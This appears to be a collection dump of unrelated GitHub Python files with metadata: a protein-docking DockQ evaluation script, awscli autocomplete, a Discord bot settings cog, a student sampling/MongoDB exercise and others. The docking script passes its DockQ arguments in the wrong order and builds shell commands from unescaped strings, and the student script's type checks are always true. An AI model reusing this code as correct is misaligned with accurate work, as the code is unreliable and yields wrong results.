get_range(unbound_res_l):\n bound_res_l = []\n for unbound_res in range(unbound_range[0], unbound_range[1] + 1):\n bound_res_l.append(list(ref_dic.keys())[list(ref_dic.values()).index(unbound_res)])\n\n range_a = get_range(bound_res_l)[0] # bound\n range_b = unbound_range\n\n izone_str = ('ZONE '\n f'{chain}{range_a[0]}-{chain}{range_a[1]}:'\n f'{chain}{range_b[0]}-{chain}{range_b[1]}')\n izone_l.append(izone_str)\n\n return izone_l\n\n\ndef run_profit(cmd):\n return subprocess.getoutput(f'echo \"{cmd}\" | profit').split(os.linesep)\n\n\ndef calc_i_rmsd(receptor_mol, ligand_mol, receptor_atoms, ligand_atoms,\n numbering_dic, cutoff=10.0):\n\n contact_dic_a = identify_inteface(receptor_mol, cutoff=cutoff)\n izone_l = retrieve_izone(contact_dic_a, numbering_dic)\n izone_str = os.linesep.join(izone_l)\n\n cmd = f'REFE {receptor_mol}' + os.linesep\n cmd += f'MOBI {ligand_mol}' + os.linesep\n cmd += f'ATOMS {receptor_atoms},{ligand_atoms}' + os.linesep\n cmd += 'ZONE CLEAR' + os.linesep\n cmd += f'{izone_str}' + os.linesep\n # cmd += 'STATUS' + os.linesep\n cmd += 'FIT' + os.linesep\n cmd += 'QUIT' + os.linesep\n\n with open('i-rmsd.dbg', 'w') as fh:\n fh.write(cmd)\n\n with open('izone', 'w') as fh:\n fh.write(izone_str)\n\n profit_output = run_profit(cmd)\n with open('i-rmsd.out', 'w') as fh:\n for line in profit_output:\n fh.write(line + os.linesep)\n if 'Error' in line:\n _msg = 'PROFIT raised an error! Check i-rmsd.out'\n logging.warning(_msg)\n\n irmsd = None\n try:\n irmsd = float(profit_output[-2].split()[-1])\n except KeyError:\n _msg = 'Something went wrong when running PROFIT, check i-rmsd.dbg'\n logging.error(_msg)\n sys.exit()\n\n return irmsd\n\n\ndef calc_fnat(receptor_mol, ligand_mol, numbering_dic, cutoff=5.0):\n \"\"\"Calculate the frequency of native contacts.\"\"\"\n receptor_contacts = run_contacts(receptor_mol, cutoff=cutoff)\n ligand_contacts = run_contacts(ligand_mol, cutoff=cutoff)\n\n receptor_con_list = []\n ligand_con_list = []\n for line in receptor_contacts:\n resnum_x, chain_x, _, resnum_y, chain_y, _, _ = line.split()\n try:\n resnum_x = str(numbering_dic[chain_x][int(resnum_x)])\n resnum_y = str(numbering_dic[chain_y][int(resnum_y)])\n except KeyError:\n # one of the residues present in this contact was not matched to\n # the target\n continue\n\n receptor_con_list.append((resnum_x, resnum_y))\n receptor_con_list = set(receptor_con_list)\n\n for line in ligand_contacts:\n try:\n resnum_x, _, _, resnum_y, _, _, _ = line.split()\n\n ligand_con_list.append((resnum_x, resnum_y))\n except ValueError:\n pass\n ligand_con_list = set(ligand_con_list)\n\n try:\n fnat = (len(receptor_con_list & ligand_con_list) /\n len(receptor_con_list))\n except ZeroDivisionError:\n # No contacts were matched\n fnat = .0\n\n return fnat\n\n\ndef calc_l_rmsd(receptor_mol, ligand_mol, receptor_atoms, ligand_atoms,\n numbering_dic):\n \"\"\"Calculate the ligand-RMSD.\"\"\"\n # This is done by aligning on the receptor and calculating over the atoms\n # of the ligand\n lrmsd = None\n\n chain_l = list(numbering_dic.keys())\n chain_l.sort()\n # Warning, receptor will always be the first chain!\n receptor_chain = chain_l[0]\n zone_dic = {}\n # Create the lzone\n for chain in numbering_dic:\n bound_reslist = list(numbering_dic[chain].keys())\n unbound_reslist = list(numbering_dic[chain].values())\n\n zone_dic[chain] = []\n # for each bound residue range\n for bound_range in get_range(numbering_dic[chain]):\n\n # found the unbound equivalents\n unbound_res_l = []\n for bound_res in range(bound_range[0], bound_range[1] + 1):\n unbound_res = numbering_dic[chain][bound_res]\n unbound_res_l.append(unbound_res)\n\n # do the other way around (?)\n # based in the unbound range, find the bound equivalent\n # (I could not figure a way to do this in any other way,\n # but for sure it could be improved)\n for unbound_rng in get_range(unbound_res_l):\n bound_res_l = []\n for unbound_res in range(unbound_rng[0], unbound_rng[1] + 1):\n unbound_index = unbound_reslist.index(unbound_res)\n bound_res_l.append(bound_reslist[unbound_index])\n\n range_a = get_range(bound_res_l)[0] # bound\n range_b = unbound_rng\n\n receptor_zone_str = (f'ZONE '\n f'{chain}{range_a[0]}-{chain}{range_a[1]}'\n ':'\n f'{chain}{range_b[0]}-{chain}{range_b[1]}'\n )\n zone_dic[chain].append(receptor_zone_str)\n\n receptor_zone = os.linesep.join(zone_dic[receptor_chain])\n lzone = ''\n cmd = f'REFE {receptor_mol}' + os.linesep\n cmd += f'MOBI {ligand_mol}' + os.linesep\n cmd += f'ATOMS {receptor_atoms}' + os.linesep\n cmd += receptor_zone + os.linesep\n cmd += 'FIT' + os.linesep\n\n # cmd += 'RATOMS ^H*' + os.linesep\n cmd += f\"RATOMS {ligand_atoms}\" + os.linesep\n\n for ligand_chain in zone_dic:\n if ligand_chain != receptor_chain:\n for ligand_zone in zone_dic[ligand_chain]:\n cmd += f'R{ligand_zone}' + os.linesep\n lzone += f'R{ligand_zone}' + os.linesep\n cmd += 'ZONE CLEAR' + os.linesep\n cmd += 'QUIT'\n\n with open('lrmsd.dbg', 'w') as fh:\n fh.write(cmd)\n\n with open('lzone', 'w') as fh:\n fh.write(lzone)\n\n profit_output = run_profit(cmd)\n with open('l-rmsd.out', 'w') as fh:\n for line in profit_output:\n fh.write(line + os.linesep)\n if 'Error' in line:\n _msg = 'PROFIT raised an error! Check l-rmsd.out'\n logging.warning(_msg)\n try:\n lrmsd = float([e for e in profit_output if 'RMS' in e][-1].split()[-1])\n except KeyError:\n _msg = 'Something went wrong when running PROFIT, check l-rmsd.out'\n logging.error(_msg)\n sys.exit()\n\n return lrmsd\n\n\ndef calc_i_l_rmsd(receptor_mol, ligand_mol, receptor_atoms, ligand_atoms,\n numbering_dic, cutoff=5.0):\n \"\"\"Calculate the interface-ligand-RMSD.\"\"\"\n # This is done by aligning on the receptor interface and calculating\n # over the atoms of the ligand\n chain_l = list(numbering_dic.keys())\n chain_l.sort()\n # Warning, receptor will always be the first chain!\n receptor_chain = chain_l[0]\n ligand_chain = chain_l[1]\n zone_dic = {}\n # Create the lzone\n for chain in numbering_dic:\n bound_reslist = list(numbering_dic[chain].keys())\n unbound_reslist = list(numbering_dic[chain].values())\n\n zone_dic[chain] = []\n # for each bound residue range\n for bound_range in get_range(numbering_dic[chain]):\n\n # found the unbound equivalents\n unbound_res_l = []\n for bound_res in range(bound_range[0], bound_range[1] + 1):\n unbound_res = numbering_dic[chain][bound_res]\n unbound_res_l.append(unbound_res)\n\n # do the other way around (?)\n # based in the unbound range, find the bound equivalent\n # (I could not figure a way to do this in any other way,\n # but for sure it could be improved)\n for unbound_rng in get_range(unbound_res_l):\n bound_res_l = []\n for unbound_res in range(unbound_rng[0], unbound_rng[1] + 1):\n unbound_index = unbound_reslist.index(unbound_res)\n bound_res_l.append(bound_reslist[unbound_index])\n\n range_a = get_range(bound_res_l)[0] # bound\n range_b = unbound_rng\n\n receptor_zone_str = (f'ZONE '\n f'{chain}{range_a[0]}-{chain}{range_a[1]}'\n ':'\n f'{chain}{range_b[0]}-{chain}{range_b[1]}'\n )\n zone_dic[chain].append(receptor_zone_str)\n\n contact_dic_a = identify_inteface(receptor_mol, cutoff=cutoff)\n izone_l = retrieve_izone(contact_dic_a, numbering_dic)\n izone_str = os.linesep.join([j for j in izone_l if ligand_chain not in j])\n\n cmd = f'REFE {receptor_mol}' + os.linesep\n cmd += f'MOBI {ligand_mol}' + os.linesep\n cmd += f'ATOMS {receptor_atoms}' + os.linesep\n cmd += 'ZONE CLEAR' + os.linesep\n cmd += f'{izone_str}' + os.linesep\n # cmd += 'STATUS' + os.linesep\n cmd += 'FIT' + os.linesep\n\n cmd += f\"RATOMS {ligand_atoms}\" + os.linesep\n\n lzone = ''\n for ligand_chain in zone_dic:\n if ligand_chain != receptor_chain:\n for ligand_zone in zone_dic[ligand_chain]:\n cmd += f'R{ligand_zone}' + os.linesep\n lzone += f'R{ligand_zone}' + os.linesep\n cmd += 'QUIT' + os.linesep\n\n with open('i-l-rmsd.dbg', 'w') as fh:\n fh.write(cmd)\n\n with open('lzone', 'w') as fh:\n fh.write(lzone)\n\n profit_output = run_profit(cmd)\n with open('i-l-rmsd.out', 'w') as fh:\n for line in profit_output:\n fh.write(line + os.linesep)\n if 'Error' in line:\n _msg = 'PROFIT raised an error! Check i-l-rmsd.out'\n logging.warning(_msg)\n try:\n lirmsd = float([e for e in profit_output if 'RMS' in e][-1].split()[-1])\n except KeyError:\n _msg = 'Something went wrong when running PROFIT, check i-l-lrmsd.out'\n logging.error(_msg)\n sys.exit()\n\n return lirmsd\n\n\ndef clean(prot_a, prot_b):\n \"\"\"Remove files generated by this script.\"\"\"\n pdb_l = [glob.glob(f\"{e.split('.pdb')[0]}_*\") for e in [prot_a, prot_b]]\n pdb_l = [x for xs in pdb_l for x in xs] + glob.glob('*flatnum*')\n for p in set(pdb_l):\n os.system(f'rm {p}')\n\n\ndef scramble_prot(prot):\n \"\"\"Scramble protein numbering for debug purposes.\"\"\"\n seq = load_seq(prot)\n chain_resdic = dict([(c, list(seq[c].keys())) for c in seq])\n new_resdic = {}\n for chain in chain_resdic:\n new_resdic[chain] = {}\n reslist = chain_resdic[chain]\n shuffled_reslist = reslist.copy()\n random.shuffle(shuffled_reslist)\n new_resdic[chain] = dict(zip(reslist, shuffled_reslist))\n\n scrambled_prot = []\n for line in open(prot):\n if 'ATOM' in line[:4]:\n chain = line[21]\n resnum = int(line[22:26])\n new_resnum = new_resdic[chain][resnum]\n n_l = line[:22] + '{0:>4}'.format(new_resnum) + line[26:]\n scrambled_prot.append(n_l)\n\n outname = '{}_scramb.pdb'.format(prot.split('.pdb')[0])\n out = open(outname, 'w')\n out.write(''.join(scrambled_prot))\n out.close()\n\n return outname\n\n\n# TODO: Use pdb-tools instead\n# def flatten_numbers(prot):\n# \"\"\"Flatten number insertions.\"\"\"\n# # look for residue insertions\n# # 10, <10A, 10B, 10C>, 12\n# # create a numbering dictionary taking into account insertions\n# resdic = {}\n# chain_l = []\n# incr = None\n# for l in open(prot):\n# if 'ATOM' in l[:4]:\n# chain = l[21]\n# if not chain in chain_l:\n# incr = 0\n# chain_l.append(chain)\n# try:\n# _ = resdic[chain]\n# except KeyError:\n# resdic[chain] = {}\n# ori_resnum = int(l[22:26])\n# icode = l[26]\n# if not icode.isspace():\n# incr += 1\n# resnum = ori_resnum + incr\n# resdic[chain][(ori_resnum, icode)] = resnum\n# flatf_l = []\n# for l in open(prot):\n# if 'ATOM' in l[:4]:\n# chain = l[21]\n# resnum = int(l[22:26])\n# icode = l[26]\n# new_res = resdic[chain][(resnum, icode)]\n# n_l = l[:22] + '{:>4}'.format(new_res) + ' ' + l[27:]\n# flatf_l.append(n_l)\n# outputf = prot.split('.pdb')[0] + '_flatnum.pdb'\n# out = open(outputf,'w')\n# out.write(''.join(flatf_l))\n# out.close()\n# return outputf\n\n\ndef calc_dockq(fnat, irms, lrms):\n \"\"\"Calculate the DockQ metric.\"\"\"\n # This equation is based on:\n # https://github.com/bjornwallner/DockQ/blob/3735c160050f1e9128d2ccb23a0a1945aa98b5b2/DockQ.py#L361\n dockq = (fnat + 1 / (1 + (irms / 1.5) * (irms / 1.5)) +\n 1 / (1 + (lrms / 8.5) * (lrms / 8.5))) / 3\n return dockq\n\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"reference\", help=\"Reference complex\")\n parser.add_argument(\"target\", help=\"Target complex\")\n\n parser.add_argument(\"--atoms-reference\",\n help=\"Atom selection for the reference complex\",\n type=str,\n default='C,N,CA,O')\n parser.add_argument(\"--atoms-target\",\n help=\"Atom selection for the target complex\",\n type=str,\n default='C,N,CA,O')\n\n parser.add_argument(\"--flat\",\n help=(\"Flatten numbering, use this if your complex has\"\n \" insertions ex: 10, 10A, 10B, 11\"))\n\n levels = ('DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL')\n parser.add_argument('--log-level', default='INFO', choices=levels)\n args = parser.parse_args()\n\n logging.basicConfig(level=args.log_level,\n format=('[%(asctime)s] %(funcName)s():L%(lineno)d '\n '%(levelname)s - %(message)s'),\n datefmt='%d/%m/%Y %H:%M:%S')\n\n error_check = False\n for exec in ['profit', 'contact', 'lovoalign']:\n if not shutil.which(exec):\n logging.error(f' {exec} not found in $PATH')\n error_check = True\n if error_check:\n sys.exit()\n\n protein_a_fname = args.reference\n protein_b_fname = args.target\n\n atoms_a = args.atoms_reference\n atoms_b = args.atoms_target\n\n logging.info(f'Receptor: {protein_a_fname} Atoms: {atoms_a}')\n logging.info(f'Ligand: {protein_b_fname} Atoms: {atoms_b}')\n\n # if args.flat:\n # protein_a_fname = flatten_numbers(protein_a_fname)\n # protein_b_fname = flatten_numbers(protein_b_fname)\n\n # DEBUG ONLY!\n # pb = scramble_prot(pb)\n\n num_dic = align(protein_a_fname, protein_b_fname)\n\n # renumber the reference based on the target\n #output_renumbered(protein_b_fname, num_dic)\n # sys.exit()\n\n i_rmsd = calc_i_rmsd(protein_a_fname,\n protein_b_fname,\n atoms_a,\n atoms_b,\n num_dic,\n cutoff=6.0)\n\n fnat = calc_fnat(protein_a_fname,\n protein_b_fname,\n num_dic,\n cutoff=4.0)\n\n l_rmsd = calc_l_rmsd(protein_a_fname,\n protein_b_fname,\n atoms_a,\n atoms_b,\n num_dic)\n\n i_l_rmsd = calc_i_l_rmsd(protein_a_fname,\n protein_b_fname,\n atoms_a,\n atoms_b,\n num_dic,\n cutoff=6.0)\n\n dockq = calc_dockq(i_rmsd, fnat, l_rmsd)\n\n logging.info(f'I-RMSD: {i_rmsd:.2f}')\n logging.info(f'FNAT: {fnat:.2f}')\n logging.info(f'L-RMSD: {l_rmsd:.2f}')\n logging.info(f'I-L-RMSD: {i_l_rmsd:.2f}')\n logging.info(f'DockQ: {dockq:.2f} (untested)')\n\n clean(protein_a_fname, protein_b_fname)\n","repo_name":"haddocking/glycan-docking-benchmark","sub_path":"scripts/analysis/capri-eval-fnat-corrected.py","file_name":"capri-eval-fnat-corrected.py","file_ext":"py","file_size_in_byte":24638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"36112993556","text":"from awscli.autocomplete.completer import BaseCompleter\nfrom awscli.autocomplete.completer import CompletionResult\n\n\nclass ModelIndexCompleter(BaseCompleter):\n\n def __init__(self, index):\n self._index = index\n\n def complete(self, parsed):\n if parsed.unparsed_items or parsed.current_fragment is None or \\\n parsed.current_param:\n # If there's ever any unparsed items, then the parser\n # encountered something it didn't understand. We won't\n # attempt to auto-complete anything here.\n return\n current_fragment = parsed.current_fragment\n if current_fragment.startswith('--'):\n # We could technically offer completion of options\n # if the last fragment is an empty string, but to avoid\n # dumping too much information back to the user, we only\n # offer completions for options if the value starts with\n # '--'.\n return self._complete_options(parsed)\n else:\n return self._complete_command(parsed)\n\n def _complete_command(self, parsed):\n lineage = parsed.lineage + [parsed.current_command]\n offset = -len(parsed.current_fragment)\n result = [CompletionResult(name, starting_index=offset)\n for name in self._index.command_names(lineage)\n if name.startswith(parsed.current_fragment)]\n return result\n\n def _complete_options(self, parsed):\n # '--endpoint' -> 'endpoint'\n offset = -len(parsed.current_fragment)\n fragment = parsed.current_fragment[2:]\n arg_names = self._index.arg_names(\n lineage=parsed.lineage, command_name=parsed.current_command)\n results = [\n CompletionResult('--%s' % arg_name, starting_index=offset)\n for arg_name in arg_names\n if arg_name.startswith(fragment)\n ]\n # Global params apply to any scope, so if we're not\n # in the global scope, we need to add completions for\n # global params\n self._inject_global_params_if_needed(parsed, results, fragment)\n return results\n\n def _inject_global_params_if_needed(self, parsed, results, fragment):\n is_in_global_scope = (\n parsed.lineage == [] and\n parsed.current_command == 'aws'\n )\n if not is_in_global_scope:\n offset = -len(parsed.current_fragment)\n global_params = self._index.arg_names(\n lineage=[], command_name='aws')\n global_param_completions = [\n CompletionResult('--%s' % arg_name, starting_index=offset)\n for arg_name in global_params\n if arg_name.startswith(fragment)\n ]\n results.extend(global_param_completions)\n","repo_name":"jamsheedsaeed/awsapp","sub_path":"awscli/autocomplete/local/basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":2807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"25469774683","text":"from goldsalesreports.graph.SubCatgTop10Sales.config.Config import SubgraphConfig as SubCatgTop10Sales_Config\nfrom goldsalesreports.graph.Top10Sales_1.config.Config import SubgraphConfig as Top10Sales_1_Config\nfrom goldsalesreports.graph.MainCatTop10Sales.config.Config import SubgraphConfig as MainCatTop10Sales_Config\nfrom prophecy.config import ConfigBase\n\n\nclass Config(ConfigBase):\n\n def __init__(self, SubCatgTop10Sales: dict=None, MainCatTop10Sales: dict=None, Top10Sales_1: dict=None, **kwargs):\n self.spark = None\n self.update(SubCatgTop10Sales, MainCatTop10Sales, Top10Sales_1)\n\n def update(self, SubCatgTop10Sales: dict={}, MainCatTop10Sales: dict={}, Top10Sales_1: dict={}, **kwargs):\n prophecy_spark = self.spark\n self.SubCatgTop10Sales = self.get_config_object(\n prophecy_spark, \n SubCatgTop10Sales_Config(prophecy_spark = prophecy_spark), \n SubCatgTop10Sales, \n SubCatgTop10Sales_Config\n )\n self.MainCatTop10Sales = self.get_config_object(\n prophecy_spark, \n MainCatTop10Sales_Config(prophecy_spark = prophecy_spark), \n MainCatTop10Sales, \n MainCatTop10Sales_Config\n )\n self.Top10Sales_1 = self.get_config_object(\n prophecy_spark, \n Top10Sales_1_Config(prophecy_spark = prophecy_spark), \n Top10Sales_1, \n Top10Sales_1_Config\n )\n pass\n","repo_name":"meiprophecy/rainforest","sub_path":"pipelines/gold-sales-reports/code/goldsalesreports/config/Config.py","file_name":"Config.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"8874389890","text":"import random\nimport string\nimport pymongo as pg\nmyclient = pg.MongoClient('mongodb://localhost:27017/')\nmydb = myclient['runoobdb']\ndblist = myclient.list_database_names()\nmycol = mydb[\"sites\"]\n# dblist=myclient.database_names()\nif \"renoobdb\" in dblist:\n print('数据库已存在!')\ndef dataSampling(datatype, datarange1,datarange2, num, strlen=8):\n result = set()\n try:\n if datatype == int or float:\n while len(result) < num:\n result = random.sample(range(datarange1, datarange2), num)\n elif datatype == str:\n while len(result) < num:\n item = ''.join(random.SystemRandom().choice(datarange1, datarange2) for _ in range(strlen))\n result.add(item)\n return result\n except Exception as e:\n print(e)\n except TypeError:\n print('TypeError')\n except ValueError:\n print('ValueError')\n except MemoryError:\n print('MemoryError')\ndef dataScreening(data,datatype,*conditions):\n result1=set()\n try:\n\n for item in data:\n if datatype == int or float:\n co1,co2=conditions\n if (co1<= item <= co2):\n result1.add(item)\n elif datatype == str:\n for stb in conditions:\n if stb in item:\n result1.add(item)\n return result1\n except Exception as e:\n print(e)\n except TypeError:\n print('TypeError')\n except ValueError:\n print('ValueError')\n except MemoryError:\n print('MemoryError')\ndef apply():\n #整型:\n intresult1=dataSampling(int ,0,100,10)\n intresult2=dataScreening(intresult1,int,10,10)\n mydict={'type':'int','info':intresult2}\n mycol.insert_one(mydict)\n x1=mycol.find_one({'type':'int'})\n print(x1)\n '''\n #浮点型:\n floatresult1 = dataSampling(float, 0, 100, 10)\n floatresult2 = dataScreening(floatresult1, float, 10, 10)\n mydict = {'type': 'float', 'info': floatresult2}\n pg.mycol.insert_one(mydict)\n x2 = pg.mycol.find_one({'type': 'float'})\n print(x2)\n #字符型:\n strresult1 = dataSampling(str, string.ascii_letters + string.digits + string.punctuation,str,10)\n strresult2 = dataScreening(strresult1, str, 'c', d)\n mydict = {'type': 'str', 'info': strresult2}\n pg.mycol.insert_one(mydict)\n x3 = pg.mycol.find_one({'type': 'float'})\n print(x3)\n '''\napply()","repo_name":"wanghan79/2020_Python","sub_path":"辛乐2018010979/期末大作业.py","file_name":"期末大作业.py","file_ext":"py","file_size_in_byte":2471,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"29867001858","text":"\"\"\"\nPeak-locking\n------------\nThe peaks are extracted from the low frequency band, then both the raw-signal\nand a time-frequency representation are peak-locked and averaged.\n\nNote the effect of the bandwidth `low_fq_width` on the number of\noscillations in the results.\n\"\"\"\nimport matplotlib.pyplot as plt\n\nfrom pactools import PeakLocking\nfrom pactools import simulate_pac\n\n\n###############################################################################\n# Let's first create an artificial signal with PAC.\n\nfs = 200. # Hz\nhigh_fq = 50.0 # Hz\nlow_fq = 3.0 # Hz\nlow_fq_width = 2.0 # Hz\n\nn_points = 10000\nnoise_level = 0.4\nt_plot = 2.0 # sec\n\nsignal = simulate_pac(n_points=n_points, fs=fs, high_fq=high_fq, low_fq=low_fq,\n low_fq_width=low_fq_width, noise_level=noise_level,\n random_state=0)\n\n###############################################################################\n# Plot the amplitude of each frequency, locked with the peak of the slow wave\n\nestimator = PeakLocking(fs=fs, low_fq=low_fq, low_fq_width=2.0, t_plot=t_plot)\nestimator.fit(signal)\nestimator.plot()\n\nestimator = PeakLocking(fs=fs, low_fq=low_fq, low_fq_width=0.5, t_plot=t_plot)\nestimator.fit(signal)\nestimator.plot()\n\nplt.show()\n","repo_name":"pactools/pactools","sub_path":"examples/plot_peak_locking.py","file_name":"plot_peak_locking.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","stars":77,"dataset":"github-code","pt":"70"} +{"seq_id":"43110826808","text":"import asyncio\n\nimport discord\nfrom discord.ext import commands\n\nfrom modules.sql.guilddb import GuildDB\nfrom modules.utils import checks\nfrom modules.utils.format import Embeds\n\n\nclass Set(commands.Cog):\n conf = {}\n\n def __init__(self, bot):\n self.bot = bot\n self.config = bot.config\n\n @commands.group()\n @commands.guild_only()\n @commands.has_permissions(manage_guild=True)\n async def setting(self, ctx):\n if ctx.invoked_subcommand is None:\n await ctx.invoke(self.get)\n\n @setting.command()\n @commands.guild_only()\n @commands.has_permissions(manage_guild=True)\n async def get(self, ctx):\n\n guild = GuildDB.get_one(ctx.message.guild.id)\n\n if not guild.setup:\n await ctx.send(\"You must setup the bot before ! \")\n await ctx.invoke(self.setup)\n\n else:\n em = await Embeds().format_get_set_embed(ctx, guild.greet, guild.greet_chan, guild.logging,\n guild.log_chan, guild.vip)\n await ctx.send(embed=em)\n\n @setting.command()\n @commands.guild_only()\n @commands.has_permissions(manage_guild=True)\n async def reset(self, ctx):\n guild = GuildDB.get_one(ctx.message.guild.id)\n guild.setup = False\n GuildDB.update_guild(guild)\n await ctx.invoke(self.setup)\n\n @setting.command()\n @commands.guild_only()\n @commands.has_permissions(manage_guild=True)\n async def setup(self, ctx):\n\n # Get guild param\n guild = GuildDB.get_one(ctx.message.guild.id)\n\n # Create check\n def check(reaction, user):\n return (user == ctx.message.author) and str(reaction.emoji)\n\n def msgcheck(m):\n return m.author == ctx.message.author\n\n # Check if already setup\n if guild.setup:\n return await ctx.send(\"The setup has already been done. \"\n \"If you want to restore it you should use : **--setting reset**\")\n\n reactions = ['✅', '❌'] # Store reactions\n\n await ctx.send(\"Hey ! Let's setup your server ;) \", delete_after=3)\n\n # Create logging Channel\n guild.logging = True\n overwrite = {\n ctx.guild.default_role: discord.PermissionOverwrite(send_messages=False),\n ctx.guild.me: discord.PermissionOverwrite(\n send_messages=True)\n }\n\n log = discord.utils.get(ctx.guild.text_channels, name=\"yumebot-log\")\n if not isinstance(log, discord.TextChannel):\n try:\n log = await ctx.guild.create_text_channel(\"yumebot-log\", overwrites=overwrite)\n except discord.Forbidden:\n await ctx.send(\"I don't have all the permissions required\")\n\n except discord.HTTPException:\n print(\"HTTP Exception in setting yumebot-log\")\n\n else:\n guild.log_chan = str(log.id)\n\n # Welcome / Leave\n msg = await ctx.send(\"Do you want to activate the Welcome/Leave msg ?\")\n\n [await msg.add_reaction(reaction) for reaction in reactions]\n try:\n reaction, user = await self.bot.wait_for('reaction_add', check=check, timeout=120)\n except asyncio.TimeoutError:\n await ctx.send('👎', delete_after=3)\n else:\n if reaction.emoji == '✅':\n await msg.delete()\n msg = await ctx.send('Please mention a Channel !\\nEx: `#general`')\n try:\n m = await self.bot.wait_for('message', timeout=120, check=msgcheck)\n except asyncio.TimeoutError:\n return await ctx.send('👎', delete_after=3)\n try:\n text_channel = m.channel_mentions[0]\n except IndexError:\n text_channel = ctx.message.channel\n\n guild.greet = True\n guild.greet_chan = str(text_channel.id)\n elif reaction.emoji == '❌':\n guild.greet = False\n await msg.delete()\n\n guild.color = False\n guild.blacklist = False\n print(\"send detecting\")\n\n # Mods & Admins role\n await ctx.send('Detecting mod and admin role...', delete_after=5)\n for role in ctx.guild.roles:\n if GuildDB.exists_in_admin(role.id, ctx.guild.id):\n GuildDB.remove_admin(role.id, ctx.guild.id)\n if role.permissions.administrator or role.permissions.manage_guild is True:\n GuildDB.set_admin(role.id, ctx.message.guild.id)\n elif role.permissions.ban_members or role.permissions.kick_members is True:\n GuildDB.set_mod(role.id, ctx.message.guild.id)\n await ctx.send('Setup is now done ! Have a good time')\n\n guild.setup = True\n GuildDB.update_guild(guild)\n\n @setting.command()\n @commands.guild_only()\n @commands.has_permissions(manage_guild=True)\n async def role(self, ctx, value, role: discord.Role = None):\n if not role:\n return\n guild = GuildDB.get_one(ctx.message.guild.id)\n if GuildDB.exists_in_admin(role.id, ctx.guild.id):\n GuildDB.remove_admin(role.id, ctx.guild.id)\n if value.lower() == 'mod':\n GuildDB.set_mod(role.id, ctx.message.guild.id)\n elif value.lower() == 'admin':\n GuildDB.set_admin(role.id, ctx.message.guild.id)\n else:\n return\n\n GuildDB.update_guild(guild)\n await ctx.send(\"Updating...\", delete_after=3)\n\n @commands.command()\n @checks.is_owner()\n async def setting_debug(self, ctx):\n guild = GuildDB.get_one(ctx.message.guild.id)\n for role in ctx.guild.roles:\n if GuildDB.exists_in_admin(role.id, ctx.guild.id):\n GuildDB.remove_admin(role.id, ctx.guild.id)\n if role.permissions.administrator or role.permissions.manage_guild is True:\n GuildDB.set_admin(role.id, ctx.message.guild.id)\n elif role.permissions.ban_members or role.permissions.kick_members is True:\n GuildDB.set_mod(role.id, ctx.message.guild.id)\n\n GuildDB.update_guild(guild)\n await ctx.send(\"Done\")\n\n @commands.command()\n @checks.is_owner()\n async def setting_update(self, ctx):\n for gguild in self.bot.guilds:\n guild = GuildDB.get_one(gguild.id)\n for role in gguild.roles:\n if GuildDB.exists_in_admin(role.id, ctx.guild.id):\n GuildDB.remove_admin(role.id, ctx.guild.id)\n if role.permissions.administrator or role.permissions.manage_guild is True:\n GuildDB.set_admin(role.id, gguild.id)\n elif role.permissions.ban_members or role.permissions.kick_members is True:\n GuildDB.set_mod(role.id, gguild.id)\n GuildDB.update_guild(guild)\n await ctx.send(\"Done\")\n\n @setting.command()\n @commands.guild_only()\n @checks.is_admin()\n async def color(self, ctx, value: bool = True):\n guild = GuildDB.get_one(ctx.message.guild.id)\n if guild.vip:\n guild.color = value\n GuildDB.update_guild(guild)\n await ctx.send(\"Settings updated\", delete_after=3)\n else:\n await ctx.send(\"You're not VIP. **Our color system is VIP only.** \"\n \"If you want to become VIP, feel free to **join our support discord** and ask to become VIP.\")\n\n @commands.Cog.listener()\n async def on_guild_join(self, guild):\n guildY = GuildDB.get_one(guild.id)\n\n for role in guild.roles:\n if GuildDB.exists_in_admin(role.id, guild.id):\n GuildDB.remove_admin(role.id, guild.id)\n if role.permissions.administrator or role.permissions.manage_guild is True:\n GuildDB.set_admin(role.id, guild.id)\n elif role.permissions.ban_members or role.permissions.kick_members is True:\n GuildDB.set_mod(role.id, guild.id)\n\n if guild.id == '264445053596991498':\n return\n try:\n await guild.owner.send(f\"Thank you for adding the YumeBot to your guild!\\n\"\n f\"In order to configure the YumeBot and to be able to use it fully\"\n f\" we ask you to make the command `--setting` in any channel of your guild **{guild.name}**\"\n \"Thank you for your understanding.\\n\\n\"\n f\"If you need help, do not hesitate to contact us on our discord: **invite.gg/yumenetwork**\\n\"\n f\"__The YumeNetwork__\")\n except discord.HTTPException:\n return\n\n\ndef setup(bot):\n bot.add_cog(Set(bot))\n","repo_name":"CorentinGS/Yume-Bot","sub_path":"modules/guilds/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":8796,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"70"} +{"seq_id":"28260114300","text":"class Solution:\n def findMaxAverage(self, nums, k):\n max_avg = -10001\n s = 0\n for i in range(len(nums)-k+1):\n if i == 0:\n s = sum(nums[i:i+k])\n else:\n s -= nums[i-1]\n s += nums[i+k-1]\n avg = s / k\n max_avg = max(avg, max_avg)\n return max_avg\n\nimport unittest\nclass test_solution(unittest.TestCase):\n def test_all(self):\n s = Solution()\n self.assertEqual(s.findMaxAverage([1,12,-5,-6,50,3], 4), 12.75)\n self.assertEqual(s.findMaxAverage([1,3,12,-5,-6,50], 4), 12.75)\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"SDRLurker/starbucks","sub_path":"20170718/20170718_1.py","file_name":"20170718_1.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"31722195410","text":"__author__='GG [github.com/ggets/]'\n__version__='1.3.4'\n__license__='Apache 2'\n__copyright__='Copyright 2019, Dreamflame Inc.'\nimport sublime\nimport sublime_plugin\nimport subprocess\nimport 